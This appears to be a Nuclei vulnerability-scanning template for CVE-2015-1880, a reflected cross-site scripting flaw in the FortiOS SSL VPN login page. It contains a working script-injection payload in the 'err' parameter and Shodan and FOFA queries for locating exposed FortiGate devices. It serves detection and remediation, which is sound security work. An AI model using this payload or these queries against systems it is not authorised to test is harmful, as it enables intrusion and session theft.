id: CVE-2015-1880

info:
  name: Fortinet FortiOS <=5.2.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Fortinet FortiOS 5.2.x before 5.2.3 contains a cross-site scripting vulnerability in the SSL VPN login page which allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Fortinet FortiOS to a version higher than 5.2.3 to mitigate this vulnerability.
  reference:
    - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page
    - http://www.fortiguard.com/advisory/FG-IR-15-005/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1880
    - http://www.securitytracker.com/id/1032261
    - http://www.securitytracker.com/id/1032262
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-1880
    cwe-id: CWE-79
    epss-score: 0.59363
    epss-percentile: 0.9827
    cpe: cpe:2.3:o:fortinet:fortios:5.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - port:10443 http.favicon.hash:945408572
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash=945408572
  tags: cve2015,cve,xss,fortigates,intrusive,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <script>alert('{{randstr}}')</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100df40b95a00d47d8c0a7b43028221c697fec2e1f27ecd6480b0c4175dc6088de7022100b2437e22022d72fad1afebe4abdc6fdb16f02fe750540dd62505a31d7b6679d4:922c64590222798bb761d5b6d8e72950